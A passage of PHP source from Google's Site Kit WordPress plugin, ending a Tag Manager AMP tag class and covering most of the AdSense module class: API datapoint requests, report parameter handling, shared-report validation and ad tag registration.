mechanism. // This configuration object will be merged with the configuration object returned // by the `config` attribute URL. $gtm_amp_opt = array( 'optoutElementId' => '__gaOptOutExtension', ); printf( "\n<!-- %s -->\n", esc_html__( 'Google Tag Manager AMP snippet added by Site Kit', 'google-site-kit' ) ); printf( '<amp-analytics config="%s" data-credentials="include"%s><script type="application/json">%s</script></amp-analytics>', esc_url( 'https://www.googletagmanager.com/amp.json?id=' . rawurlencode( $this->tag_id ) ), // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped $this->get_tag_blocked_on_consent_attribute(), // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped wp_json_encode( $gtm_amp_opt ) ); printf( "\n<!-- %s -->\n", esc_html__( 'End Google Tag Manager AMP snippet added by Site Kit', 'google-site-kit' ) ); } } <?php /** * Class Google\Site_Kit\Modules\AdSense * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ // phpcs:disable Generic.Metrics.CyclomaticComplexity.MaxExceeded namespace Google\Site_Kit\Modules; use Google\Site_Kit\Core\Modules\Module; use Google\Site_Kit\Core\Modules\Module_Settings; use Google\Site_Kit\Core\Modules\Module_With_Deactivation; use Google\Site_Kit\Core\Modules\Module_With_Debug_Fields; use Google\Site_Kit\Core\Modules\Module_With_Scopes; use Google\Site_Kit\Core\Modules\Module_With_Scopes_Trait; use Google\Site_Kit\Core\Modules\Module_With_Settings; use Google\Site_Kit\Core\Modules\Module_With_Settings_Trait; use Google\Site_Kit\Core\Modules\Module_With_Assets; use Google\Site_Kit\Core\Modules\Module_With_Assets_Trait; use Google\Site_Kit\Core\Modules\Module_With_Owner; use Google\Site_Kit\Core\Modules\Module_With_Owner_Trait; use Google\Site_Kit\Core\REST_API\Exception\Invalid_Datapoint_Exception; use Google\Site_Kit\Core\Validation\Exception\Invalid_Report_Metrics_Exception; use Google\Site_Kit\Core\Validation\Exception\Invalid_Report_Dimensions_Exception; use Google\Site_Kit\Core\Assets\Asset; use Google\Site_Kit\Core\Assets\Script; use Google\Site_Kit\Core\Authentication\Clients\Google_Site_Kit_Client; use Google\Site_Kit\Core\Modules\Module_With_Service_Entity; use Google\Site_Kit\Core\REST_API\Data_Request; use Google\Site_Kit\Core\Tags\Guards\Tag_Environment_Type_Guard; use Google\Site_Kit\Core\Tags\Guards\Tag_Verify_Guard; use Google\Site_Kit\Core\Util\Date; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; use Google\Site_Kit\Core\Util\Sort; use Google\Site_Kit\Core\Util\URL; use Google\Site_Kit\Modules\AdSense\Ad_Blocking_Recovery_Tag; use Google\Site_Kit\Modules\AdSense\AMP_Tag; use Google\Site_Kit\Modules\AdSense\Settings; use Google\Site_Kit\Modules\AdSense\Tag_Guard; use Google\Site_Kit\Modules\AdSense\Auto_Ad_Guard; use Google\Site_Kit\Modules\AdSense\Web_Tag; use Google\Site_Kit_Dependencies\Google\Model as Google_Model; use Google\Site_Kit_Dependencies\Google\Service\Adsense as Google_Service_Adsense; use Google\Site_Kit_Dependencies\Google\Service\Adsense\Alert as Google_Service_Adsense_Alert; use Google\Site_Kit_Dependencies\Psr\Http\Message\RequestInterface; use Exception; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Assets\Assets; use Google\Site_Kit\Core\Authentication\Authentication; use Google\Site_Kit\Core\Modules\AdSense\Tag_Matchers; use Google\Site_Kit\Core\Modules\Module_With_Tag; use Google\Site_Kit\Core\Modules\Module_With_Tag_Trait; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Matchers; use Google\Site_Kit\Core\Prompts\Dismissed_Prompts; use Google\Site_Kit\Core\Site_Health\Debug_Data; use Google\Site_Kit\Core\Storage\Encrypted_Options; use Google\Site_Kit\Core\Storage\Options; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Core\Tags\Guards\WP_Query_404_Guard; use Google\Site_Kit\Core\Tracking\Feature_Metrics_Trait; use Google\Site_Kit\Core\Tracking\Provides_Feature_Metrics; use Google\Site_Kit\Modules\AdSense\Ad_Blocking_Recovery_Tag_Guard; use Google\Site_Kit\Modules\AdSense\Ad_Blocking_Recovery_Web_Tag; use Google\Site_Kit\Modules\Analytics_4\Settings as Analytics_Settings; use Google\Site_Kit\Modules\Analytics_4\Synchronize_AdSenseLinked; use WP_Error; use WP_REST_Response; /** * Class representing the AdSense module. * * @since 1.0.0 * @access private * @ignore */ final class AdSense extends Module implements Module_With_Scopes, Module_With_Settings, Module_With_Assets, Module_With_Debug_Fields, Module_With_Owner, Module_With_Service_Entity, Module_With_Deactivation, Module_With_Tag, Provides_Feature_Metrics { use Method_Proxy_Trait; use Module_With_Assets_Trait; use Module_With_Owner_Trait; use Module_With_Scopes_Trait; use Module_With_Settings_Trait; use Module_With_Tag_Trait; use Feature_Metrics_Trait; /** * Module slug name. */ const MODULE_SLUG = 'adsense'; /** * Ad_Blocking_Recovery_Tag instance. * * @since 1.104.0 * @var Ad_Blocking_Recovery_Tag */ protected $ad_blocking_recovery_tag; /** * Constructor. * * @since 1.104.0 * * @param Context $context Plugin context. * @param Options $options Optional. Option API instance. Default is a new instance. * @param User_Options $user_options Optional. User Option API instance. Default is a new instance. * @param Authentication $authentication Optional. Authentication instance. Default is a new instance. * @param Assets $assets Optional. Assets API instance. Default is a new instance. */ public function __construct( Context $context, ?Options $options = null, ?User_Options $user_options = null, ?Authentication $authentication = null, ?Assets $assets = null ) { parent::__construct( $context, $options, $user_options, $authentication, $assets ); $this->ad_blocking_recovery_tag = new Ad_Blocking_Recovery_Tag( new Encrypted_Options( $this->options ) ); } /** * Registers functionality through WordPress hooks. * * @since 1.0.0 */ public function register() { $this->register_scopes_hook(); $this->register_feature_metrics(); $this->ad_blocking_recovery_tag->register(); add_action( 'wp_head', $this->get_method_proxy_once( 'render_platform_meta_tags' ) ); if ( $this->is_connected() ) { /** * Release filter forcing unlinked state. * * This is hooked into 'init' (default priority of 10), so that it * runs after the original filter is added. * * @see \Google\Site_Kit\Modules\Analytics::register() * @see \Google\Site_Kit\Modules\Analytics\Settings::register() */ add_action( 'googlesitekit_init', function () { remove_filter( 'googlesitekit_analytics_adsense_linked', '__return_false' ); } ); } // AdSense tag placement logic. add_action( 'template_redirect', array( $this, 'register_tag' ) ); // Reset AdSense link settings in Analytics when accountID changes. $this->get_settings()->on_change( function ( $old_value, $new_value ) { if ( $old_value['accountID'] !== $new_value['accountID'] ) { $this->reset_analytics_adsense_linked_settings(); } if ( ! empty( $new_value['accountSetupComplete'] ) && ! empty( $new_value['siteSetupComplete'] ) ) { do_action( Synchronize_AdSenseLinked::CRON_SYNCHRONIZE_ADSENSE_LINKED ); } } ); // Set up the site reset hook to reset the ad blocking recovery notification. add_action( 'googlesitekit_reset', array( $this, 'reset_ad_blocking_recovery_notification' ) ); } /** * Gets required Google OAuth scopes for the module. * * @since 1.0.0 * @since 1.9.0 Changed to `adsense.readonly` variant. * * @return array List of Google OAuth scopes. */ public function get_scopes() { return array( 'https://www.googleapis.com/auth/adsense.readonly', ); } /** * Checks whether the module is connected. * * A module being connected means that all steps required as part of its activation are completed. * * @since 1.0.0 * * @return bool True if module is connected, false otherwise. */ public function is_connected() { $settings = $this->get_settings()->get(); if ( empty( $settings['accountSetupComplete'] ) || empty( $settings['siteSetupComplete'] ) ) { return false; } return parent::is_connected(); } /** * Cleans up when the module is deactivated. * * @since 1.0.0 * @since 1.106.0 Remove Ad Blocking Recovery Tag setting on deactivation. */ public function on_deactivation() { $this->get_settings()->delete(); $this->ad_blocking_recovery_tag->delete(); // Reset AdSense link settings in Analytics. $this->reset_analytics_adsense_linked_settings(); // Reset the ad blocking recovery notification. $this->reset_ad_blocking_recovery_notification(); } /** * Gets an array of debug field definitions. * * @since 1.5.0 * * @return array */ public function get_debug_fields() { $settings = $this->get_settings()->get(); return array( 'adsense_account_id' => array( 'label' => __( 'AdSense: Account ID', 'google-site-kit' ), 'value' => $settings['accountID'], 'debug' => Debug_Data::redact_debug_value( $settings['accountID'], 7 ), ), 'adsense_client_id' => array( 'label' => __( 'AdSense: Client ID', 'google-site-kit' ), 'value' => $settings['clientID'], 'debug' => Debug_Data::redact_debug_value( $settings['clientID'], 10 ), ), 'adsense_account_status' => array( 'label' => __( 'AdSense: Account status', 'google-site-kit' ), 'value' => $settings['accountStatus'], ), 'adsense_site_status' => array( 'label' => __( 'AdSense: Site status', 'google-site-kit' ), 'value' => $settings['siteStatus'], ), 'adsense_use_snippet' => array( 'label' => __( 'AdSense: Snippet placed', 'google-site-kit' ), 'value' => $settings['useSnippet'] ? __( 'Yes', 'google-site-kit' ) : __( 'No', 'google-site-kit' ), 'debug' => $settings['useSnippet'] ? 'yes' : 'no', ), 'adsense_web_stories_adunit_id' => array( 'label' => __( 'AdSense: Web Stories Ad Unit ID', 'google-site-kit' ), 'value' => $settings['webStoriesAdUnit'], 'debug' => $settings['webStoriesAdUnit'], ), 'adsense_setup_completed_timestamp' => array( 'label' => __( 'AdSense: Setup completed at', 'google-site-kit' ), 'value' => $settings['setupCompletedTimestamp'] ? date_i18n( get_option( 'date_format' ), $settings['setupCompletedTimestamp'] ) : __( 'Not available', 'google-site-kit' ), 'debug' => $settings['setupCompletedTimestamp'], ), 'adsense_abr_use_snippet' => array( 'label' => __( 'AdSense: Ad Blocking Recovery snippet placed', 'google-site-kit' ), 'value' => $settings['useAdBlockingRecoverySnippet'] ? __( 'Yes', 'google-site-kit' ) : __( 'No', 'google-site-kit' ), 'debug' => $settings['useAdBlockingRecoverySnippet'] ? 'yes' : 'no', ), 'adsense_abr_use_error_protection_snippet' => array( 'label' => __( 'AdSense: Ad Blocking Recovery error protection snippet placed', 'google-site-kit' ), 'value' => $settings['useAdBlockingRecoveryErrorSnippet'] ? __( 'Yes', 'google-site-kit' ) : __( 'No', 'google-site-kit' ), 'debug' => $settings['useAdBlockingRecoveryErrorSnippet'] ? 'yes' : 'no', ), 'adsense_abr_setup_status' => array( 'label' => __( 'AdSense: Ad Blocking Recovery setup status', 'google-site-kit' ), 'value' => $this->get_ad_blocking_recovery_setup_status_label( $settings['adBlockingRecoverySetupStatus'] ), 'debug' => $settings['adBlockingRecoverySetupStatus'], ), ); } /** * Gets map of datapoint to definition data for each. * * @since 1.12.0 * * @return array Map of datapoints to their definitions. */ protected function get_datapoint_definitions() { return array( 'GET:accounts' => array( 'service' => 'adsense' ), 'GET:adunits' => array( 'service' => 'adsense' ), 'GET:alerts' => array( 'service' => 'adsense' ), 'GET:clients' => array( 'service' => 'adsense' ), 'GET:notifications' => array( 'service' => '' ), 'GET:report' => array( 'service' => 'adsense', 'shareable' => true, ), 'GET:sites' => array( 'service' => 'adsense' ), 'POST:sync-ad-blocking-recovery-tags' => array( 'service' => 'adsense' ), ); } /** * Creates a request object for the given datapoint. * * @since 1.0.0 * * @param Data_Request $data Data request object. * @return RequestInterface|callable|WP_Error Request object or callable on success, or WP_Error on failure. * * @throws Invalid_Datapoint_Exception Thrown if the datapoint does not exist. */ protected function create_data_request( Data_Request $data ) { switch ( "{$data->method}:{$data->datapoint}" ) { case 'GET:accounts': $service = $this->get_service( 'adsense' ); return $service->accounts->listAccounts(); case 'GET:adunits': if ( ! isset( $data['accountID'] ) || ! isset( $data['clientID'] ) ) { $option = $this->get_settings()->get(); $data['accountID'] = $option['accountID']; if ( empty( $data['accountID'] ) ) { /* translators: %s: Missing parameter name */ return new WP_Error( 'missing_required_param', sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'accountID' ), array( 'status' => 400 ) ); } $data['clientID'] = $option['clientID']; if ( empty( $data['clientID'] ) ) { /* translators: %s: Missing parameter name */ return new WP_Error( 'missing_required_param', sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'clientID' ), array( 'status' => 400 ) ); } } $service = $this->get_service( 'adsense' ); return $service->accounts_adclients_adunits->listAccountsAdclientsAdunits( self::normalize_client_id( $data['accountID'], $data['clientID'] ) ); case 'GET:alerts': if ( ! isset( $data['accountID'] ) ) { /* translators: %s: Missing parameter name */ return new WP_Error( 'missing_required_param', sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'accountID' ), array( 'status' => 400 ) ); } $service = $this->get_service( 'adsense' ); return $service->accounts_alerts->listAccountsAlerts( self::normalize_account_id( $data['accountID'] ) ); case 'GET:clients': if ( ! isset( $data['accountID'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'accountID' ), array( 'status' => 400 ) ); } $service = $this->get_service( 'adsense' ); return $service->accounts_adclients->listAccountsAdclients( self::normalize_account_id( $data['accountID'] ) ); case 'GET:notifications': return function () { $settings = $this->get_settings()->get(); if ( empty( $settings['accountID'] ) ) { return array(); } $alerts = $this->get_data( 'alerts', array( 'accountID' => $settings['accountID'] ) ); if ( is_wp_error( $alerts ) || empty( $alerts ) ) { return array(); } $alerts = array_filter( $alerts, function ( Google_Service_Adsense_Alert $alert ) { return 'SEVERE' === $alert->getSeverity(); } ); // There is no SEVERE alert, return empty. if ( empty( $alerts ) ) { return array(); } $notifications = array_map( function ( Google_Service_Adsense_Alert $alert ) { return array( 'id' => 'adsense::' . $alert->getName(), 'description' => $alert->getMessage(), 'isDismissible' => true, 'severity' => 'win-info', 'ctaURL' => $this->get_account_url(), 'ctaLabel' => __( 'Go to AdSense', 'google-site-kit' ), 'ctaTarget' => '_blank', ); }, $alerts ); return array_values( $notifications ); }; case 'GET:report': $start_date = $data['startDate']; $end_date = $data['endDate']; if ( ! strtotime( $start_date ) || ! strtotime( $end_date ) ) { $dates = $this->date_range_to_dates( 'last-28-days' ); if ( is_wp_error( $dates ) ) { return $dates; } list ( $start_date, $end_date ) = $dates; } $args = array( 'start_date' => $start_date, 'end_date' => $end_date, ); $metrics = $this->parse_string_list( $data['metrics'] ); if ( ! empty( $metrics ) ) { if ( $this->is_shared_data_request( $data ) ) { try { $this->validate_shared_report_metrics( $metrics ); } catch ( Invalid_Report_Metrics_Exception $exception ) { return new WP_Error( 'invalid_adsense_report_metrics', $exception->getMessage() ); } } $args['metrics'] = $metrics; } $dimensions = $this->parse_string_list( $data['dimensions'] ); if ( ! empty( $dimensions ) ) { if ( $this->is_shared_data_request( $data ) ) { try { $this->validate_shared_report_dimensions( $dimensions ); } catch ( Invalid_Report_Dimensions_Exception $exception ) { return new WP_Error( 'invalid_adsense_report_dimensions', $exception->getMessage() ); } } $args['dimensions'] = $dimensions; } $orderby = $this->parse_earnings_orderby( $data['orderby'] ); if ( ! empty( $orderby ) ) { $args['sort'] = $orderby; } if ( ! empty( $data['limit'] ) ) { $args['limit'] = $data['limit']; } return $this->create_adsense_earning_data_request( array_filter( $args ) ); case 'GET:sites': if ( ! isset( $data['accountID'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'accountID' ), array( 'status' => 400 ) ); } $service = $this->get_service( 'adsense' ); return $service->accounts_sites->listAccountsSites( self::normalize_account_id( $data['accountID'] ) ); case 'POST:sync-ad-blocking-recovery-tags': $settings = $this->get_settings()->get(); if ( empty( $settings['accountID'] ) ) { return new WP_Error( 'module_not_connected', __( 'Module is not connected.', 'google-site-kit' ), array( 'status' => 500 ) ); } $service = $this->get_service( 'adsense' ); return $service->accounts->getAdBlockingRecoveryTag( self::normalize_account_id( $settings['accountID'] ) ); } return parent::create_data_request( $data ); } /** * Parses a response for the given datapoint. * * @since 1.0.0 * * @param Data_Request $data Data request object. * @param mixed $response Request response. * * @return mixed Parsed response data on success, or WP_Error on failure. */ protected function parse_data_response( Data_Request $data, $response ) { switch ( "{$data->method}:{$data->datapoint}" ) { case 'GET:accounts': $accounts = array_filter( $response->getAccounts(), array( self::class, 'is_account_not_closed' ) ); return Sort::case_insensitive_list_sort( array_map( array( self::class, 'filter_account_with_ids' ), $accounts ), 'displayName' ); case 'GET:adunits': return array_map( array( self::class, 'filter_adunit_with_ids' ), $response->getAdUnits() ); case 'GET:alerts': return $response->getAlerts(); case 'GET:clients': return array_map( array( self::class, 'filter_client_with_ids' ), $response->getAdClients() ); case 'GET:report': return $response; case 'GET:sites': return $response->getSites(); case 'POST:sync-ad-blocking-recovery-tags': $this->ad_blocking_recovery_tag->set( array( 'tag' => $response->getTag(), 'error_protection_code' => $response->getErrorProtectionCode(), ) ); return new WP_REST_Response( array( 'success' => true, ) ); } return parent::parse_data_response( $data, $response ); } /** * Checks for the state of an Account, whether closed or not. * * @since 1.73.0 * * @param Google_Model $account Account model. * @return bool Whether the account is not closed. */ public static function is_account_not_closed( $account ) { return 'CLOSED' !== $account->getState(); } /** * Gets the service URL for the current account or signup if none. * * @since 1.25.0 * * @return string */ protected function get_account_url() { $profile = $this->authentication->profile(); $option = $this->get_settings()->get(); $query = array( 'source' => 'site-kit', 'utm_source' => 'site-kit', 'utm_medium' => 'wordpress_signup', 'url' => rawurlencode( $this->context->get_reference_site_url() ), ); if ( ! empty( $option['accountID'] ) ) { $url = sprintf( 'https://www.google.com/adsense/new/%s/home', $option['accountID'] ); } else { $url = 'https://www.google.com/adsense/signup'; } if ( $profile->has() ) { $query['authuser'] = $profile->get()['email']; } return add_query_arg( $query, $url ); } /** * Parses the orderby value of the data request into an array of earning orderby format. * * @since 1.15.0 * * @param array|null $orderby Data request orderby value. * @return string[] An array of reporting orderby strings. */ protected function parse_earnings_orderby( $orderby ) { if ( empty( $orderby ) || ! is_array( $orderby ) ) { return array(); } $results = array_map( function ( $order_def ) { $order_def = array_merge( array( 'fieldName' => '', 'sortOrder' => '', ), (array) $order_def ); if ( empty( $order_def['fieldName'] ) || empty( $order_def['sortOrder'] ) ) { return null; } return ( 'ASCENDING' === $order_def['sortOrder'] ? '+' : '-' ) . $order_def['fieldName']; }, // When just object is passed we need to convert it to an array of objects. wp_is_numeric_array( $orderby ) ? $orderby : array( $orderby ) ); $results = array_filter( $results ); $results = array_values( $results ); return $results; } /** * Gets an array of dates for the given named date range. * * @param string $date_range Named date range. * E.g. 'last-28-days'. * * @return array|WP_Error Array of [startDate, endDate] or WP_Error if invalid named range. */ private function date_range_to_dates( $date_range ) { switch ( $date_range ) { case 'today': return array( gmdate( 'Y-m-d', strtotime( 'today' ) ), gmdate( 'Y-m-d', strtotime( 'today' ) ), ); // Intentional fallthrough. case 'last-7-days': case 'last-14-days': case 'last-28-days': case 'last-90-days': return Date::parse_date_range( $date_range ); } return new WP_Error( 'invalid_date_range', __( 'Invalid date range.', 'google-site-kit' ) ); } /** * Creates a new AdSense earning request for the current account, site and given arguments. * * @since 1.0.0 * * @param array $args { * Optional. Additional arguments. * * @type array $dimensions List of request dimensions. Default empty array. * @type array $metrics List of request metrics. Default empty array. * @type string $start_date Start date in 'Y-m-d' format. Default empty string. * @type string $end_date End date in 'Y-m-d' format. Default empty string. * @type int $row_limit Limit of rows to return. Default none (will be skipped). * } * @return RequestInterface|WP_Error AdSense earning request instance. */ protected function create_adsense_earning_data_request( array $args = array() ) { $args = wp_parse_args( $args, array( 'dimensions' => array(), 'metrics' => array(), 'start_date' => '', 'end_date' => '', 'limit' => '', 'sort' => array(), ) ); $option = $this->get_settings()->get(); $account_id = $option['accountID']; if ( empty( $account_id ) ) { return new WP_Error( 'account_id_not_set', __( 'AdSense account ID not set.', 'google-site-kit' ) ); } list( $start_year, $start_month, $start_day ) = explode( '-', $args['start_date'] ); list( $end_year, $end_month, $end_day ) = explode( '-', $args['end_date'] ); $opt_params = array( // In the AdSense API v2, date parameters require the individual pieces to be specified as integers. // See https://developers.google.com/adsense/management/reference/rest/v2/accounts.reports/generate. 'dateRange' => 'CUSTOM', 'startDate.year' => (int) $start_year, 'startDate.month' => (int) $start_month, 'startDate.day' => (int) $start_day, 'endDate.year' => (int) $end_year, 'endDate.month' => (int) $end_month, 'endDate.day' => (int) $end_day, 'languageCode' => $this->context->get_locale( 'site', 'language-code' ), // Include default metrics only for backward-compatibility. 'metrics' => array( 'ESTIMATED_EARNINGS', 'PAGE_VIEWS_RPM', 'IMPRESSIONS' ), ); if ( ! empty( $args['dimensions'] ) ) { $opt_params['dimensions'] = (array) $args['dimensions']; } if ( ! empty( $args['metrics'] ) ) { $opt_params['metrics'] = (array) $args['metrics']; } if ( ! empty( $args['sort'] ) ) { $opt_params['orderBy'] = (array) $args['sort']; } if ( ! empty( $args['limit'] ) ) { $opt_params['limit'] = (int) $args['limit']; } // @see https://developers.google.com/adsense/management/reporting/filtering?hl=en#OR $site_hostname = URL::parse( $this->context->get_reference_site_url(), PHP_URL_HOST ); $opt_params['filters'] = join( ',', array_map( function ( $hostname ) { return 'DOMAIN_NAME==' . $hostname; }, URL::permute_site_hosts( $site_hostname ) ) ); return $this->get_service( 'adsense' ) ->accounts_reports ->generate( self::normalize_account_id( $account_id ), $opt_params ); } /** * Sets up information about the module. * * @since 1.0.0 * * @return array Associative array of module info. */ protected function setup_info() { $idenfifier_args = array( 'source' => 'site-kit', 'url' => $this->context->get_reference_site_url(), ); return array( 'slug' => self::MODULE_SLUG, 'name' => _x( 'AdSense', 'Service name', 'google-site-kit' ), 'description' => __( 'Earn money by placing ads on your website. It’s free and easy.', 'google-site-kit' ), 'homepage' => add_query_arg( $idenfifier_args, 'https://adsense.google.com/start' ), ); } /** * Sets up the Google services the module should use. * * This method is invoked once by {@see Module::get_service()} to lazily set up the services when one is requested * for the first time. * * @since 1.0.0 * @since 1.2.0 Now requires Google_Site_Kit_Client instance. * * @param Google_Site_Kit_Client $client Google client instance. * @return array Google services as $identifier => $service_instance pairs. Every $service_instance must be an * instance of Google_Service. */ protected function setup_services( Google_Site_Kit_Client $client ) { return array( 'adsense' => new Google_Service_Adsense( $client ), ); } /** * Sets up the module's settings instance. * * @since 1.2.0 * * @return Module_Settings */ protected function setup_settings() { return new Settings( $this->options ); } /** * Sets up the module's assets to register. * * @since 1.9.0 * * @return Asset[] List of Asset objects. */ protected function setup_assets() { $base_url = $this->context->url( 'dist/assets/' ); return array( new Script( 'googlesitekit-modules-adsense', array( 'src' => $base_url . 'js/googlesitekit-modules-adsense.js', 'dependencies' => array( 'googlesitekit-vendor', 'googlesitekit-api', 'googlesitekit-data', 'googlesitekit-modules', 'googlesitekit-notifications', 'googlesitekit-datastore-site', 'googlesitekit-datastore-user', 'googlesitekit-components', ), ) ), ); } /** * Registers the AdSense tag. * * @since 1.24.0 * @since 1.119.0 Method made public. */ public function register_tag() { // TODO: 'amp_story' support can be phased out in the long term. if ( is_singular( array( 'amp_story' ) ) ) { return; } $module_settings = $this->get_settings(); $settings = $module_settings->get(); if ( $this->context->is_amp() ) { $tag = new AMP_Tag( $settings['clientID'], self::MODULE_SLUG ); $tag->set_story_ad_slot_id( $settings['webStoriesAdUnit'] ); } else { $tag = new Web_Tag( $settings['clientID'], self::MODULE_SLUG ); } if ( $tag->is_tag_blocked() ) { return; } $tag->use_guard( new Tag_Verify_Guard( $this->context->input() ) ); $tag->use_guard( new WP_Query_404_Guard() ); $tag->use_guard( new Tag_Guard( $module_settings ) ); $tag->use_guard( new Auto_Ad_Guard( $module_settings ) ); $tag->use_guard( new Tag_Environment_Type_Guard() ); if ( $tag->can_register() ) { $tag->register(); } if ( ! $this->context->is_amp() ) { $ad_blocking_recovery_web_tag = new Ad_Blocking_Recovery_Web_Tag( $this->ad_blocking_recovery_tag, $settings['useAdBlockingRecoveryErrorSnippet'] ); $ad_blocking_recovery_web_tag->use_guard( new Tag_Verify_Guard( $this->context->input() ) ); $ad_blocking_recovery_web_tag->use_guard( new WP_Query_404_Guard() ); $ad_blocking_recovery_web_tag->use_guard( new Ad_Blocking_Recovery_Tag_Guard( $module_settings ) ); $ad_blocking_recovery_web_tag->use_guard( new Tag_Environment_Type_Guard() ); if ( $ad_blocking_recovery_web_tag->can_register() ) { $ad_blocking_recovery_web_tag->register(); } } } /** * Returns the Module_Tag_Matchers instance. * * @since 1.119.0 * * @return Module_Tag_Matchers Module_Tag_Matchers instance. */ public function get_tag_matchers() { return new Tag_Matchers(); } /** * Parses account ID, adds it to the model object and returns updated model. * * @since 1.36.0 * * @param Google_Model $account Account model. * @param string $id_key Attribute name that contains account ID. * @return \stdClass Updated model with _id attribute. */ public static function filter_account_with_ids( $account, $id_key = 'name' ) { $obj = $account->toSimpleObject(); $matches = array(); if ( preg_match( '#accounts/([^/]+)#', $account[ $id_key ], $matches ) ) { $obj->_id = $matches[1]; } return $obj; } /** * Parses account and client IDs, adds it to the model object and returns updated model. * * @since 1.36.0 * * @param Google_Model $client Client model. * @param string $id_key Attribute name that contains client ID. * @return \stdClass Updated model with _id and _accountID attributes. */ public static function filter_client_with_ids( $client, $id_key = 'name' ) { $obj = $client->toSimpleObject(); $matches = array(); if ( preg_match( '#accounts/([^/]+)/adclients/([^/]+)#', $client[ $id_key ], $matches ) ) { $obj->_id = $matches[2]; $obj->_accountID = $matches[1]; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase } return $obj; } /** * Parses account, client and ad unit IDs, adds it to the model object and returns updated model. * * @since 1.36.0 * * @param Google_Model $adunit Ad unit model. * @param string $id_key Attribute name that contains ad unit ID. * @return \stdClass Updated model with _id, _clientID and _accountID attributes. */ public static function filter_adunit_with_ids( $adunit, $id_key = 'name' ) { $obj = $adunit->toSimpleObject(); $matches = array(); if ( preg_match( '#accounts/([^/]+)/adclients/([^/]+)/adunits/([^/]+)#', $adunit[ $id_key ], $matches ) ) { $obj->_id = $matches[3]; $obj->_clientID = $matches[2]; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase $obj->_accountID = $matches[1]; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase } return $obj; } /** * Normalizes account ID and returns it. * * @since 1.36.0 * * @param string $account_id Account ID. * @return string Updated account ID with "accounts/" prefix. */ public static function normalize_account_id( $account_id ) { return 'accounts/' . $account_id; } /** * Normalizes ad client ID and returns it. * * @since 1.36.0 * * @param string $account_id Account ID. * @param string $client_id Ad client ID. * @return string Account ID and ad client ID in "accounts/{accountID}/adclients/{clientID}" format. */ public static function normalize_client_id( $account_id, $client_id ) { return 'accounts/' . $account_id . '/adclients/' . $client_id; } /** * Outputs the Adsense for Platforms meta tags. * * @since 1.43.0 */ private function render_platform_meta_tags() { printf( "\n<!-- %s -->\n", esc_html__( 'Google AdSense meta tags added by Site Kit', 'google-site-kit' ) ); echo '<meta name="google-adsense-platform-account" content="ca-host-pub-2644536267352236">'; echo "\n"; echo '<meta name="google-adsense-platform-domain" content="sitekit.withgoogle.com">'; printf( "\n<!-- %s -->\n", esc_html__( 'End Google AdSense meta tags added by Site Kit', 'google-site-kit' ) ); } /** * Checks if the current user has access to the current configured service entity. * * @since 1.70.0 * * @return boolean|WP_Error */ public function check_service_entity_access() { $data_request = array( 'start_date' => gmdate( 'Y-m-d' ), 'end_date' => gmdate( 'Y-m-d' ), 'limit' => 1, ); try { $request = $this->create_adsense_earning_data_request( $data_request ); if ( is_wp_error( $request ) ) { return $request; } } catch ( Exception $e ) { if ( $e->getCode() === 403 ) { return false; } return $this->exception_to_error( $e ); } return true; } /** * Validates the report metrics for a shared request. * * @since 1.83.0 * @since 1.98.0 Renamed the method, and moved the check for being a shared request to the caller. * * @param string[] $metrics The metrics to validate. * @throws Invalid_Report_Metrics_Exception Thrown if the metrics are invalid. */ protected function validate_shared_report_metrics( $metrics ) { $valid_metrics = apply_filters( 'googlesitekit_shareable_adsense_metrics', array( 'ESTIMATED_EARNINGS', 'IMPRESSIONS', 'PAGE_VIEWS_CTR', 'PAGE_VIEWS_RPM', ) ); $invalid_metrics = array_diff( $metrics, $valid_metrics ); if ( count( $invalid_metrics ) > 0 ) { $message = count( $invalid_metrics ) > 1 ? sprintf( /* translators: %s: is replaced with a comma separated list of the invalid metrics. */ __( 'Unsupported metrics requested: %s', 'google-site-kit' ), join( /* translators: used between list items, there is a space after the comma. */ __( ', ', 'google-site-kit' ), $invalid_metrics ) ) : sprintf( /* translators: %s: is replaced with the invalid metric. */ __( 'Unsupported metric requested: %s', 'google-site-kit' ), $invalid_metrics[0] ); throw new Invalid_Report_Metrics_Exception( $message ); } } /** * Validates the report dimensions for a shared request. * * @since 1.83.0 * @since 1.98.0 Renamed the method, and moved the check for being a shared request to the caller. * * @param string[] $dimensions The dimensions to validate. * @throws Invalid_Report_Dimensions_Exception Thrown if the dimensions are invalid. */ protected function validate_shared_report_dimensions( $dimensions ) { $valid_dimensions = apply_filters( 'googlesitekit_shareable_adsense_dimensions', array( 'DATE', ) ); $invalid_dimensions = array_diff( $dimensions, $valid_dimensions ); if ( count( $invalid_dimensions ) > 0 ) { $message = count( $invalid_dimensions ) > 1 ? sprintf( /* translators: %s: is replaced with a comma separated list of the invalid dimensions. */ __( 'Unsupported dimensions requested: %s', 'google-site-kit' ), join( /* translators: used between list items, there is a space after the comma. */ __( ', ', 'google-site-kit' ), $invalid_dimensions ) ) : sprintf( /* translators: %s: is replaced with the invalid dimension. */ __( 'Unsupported dimension requested: %s', 'google-site-kit' ), $invalid_dimensions[0] ); throw new Invalid_Report_Dimensions_Exception( $message ); } } /** * Gets the Ad Blocking Recovery setup status label. * * @since 1.107.0 * * @param string $setup_status The saved raw setting. * @return string The status label based on the raw setting. */ private function get_ad_blocking_recovery_setup_status_label( $setup_status ) { switch ( $setup_status ) { case Settings::AD_BLOCKING_RECOVERY_SETUP_STATUS_TAG_PLACED: return __( 'Snippet is placed', 'google-site-kit' ); case Settings::AD_BLOCKING_RECOVERY_SETUP_STATUS_SETUP_CONFIRMED: return __( 'Setup 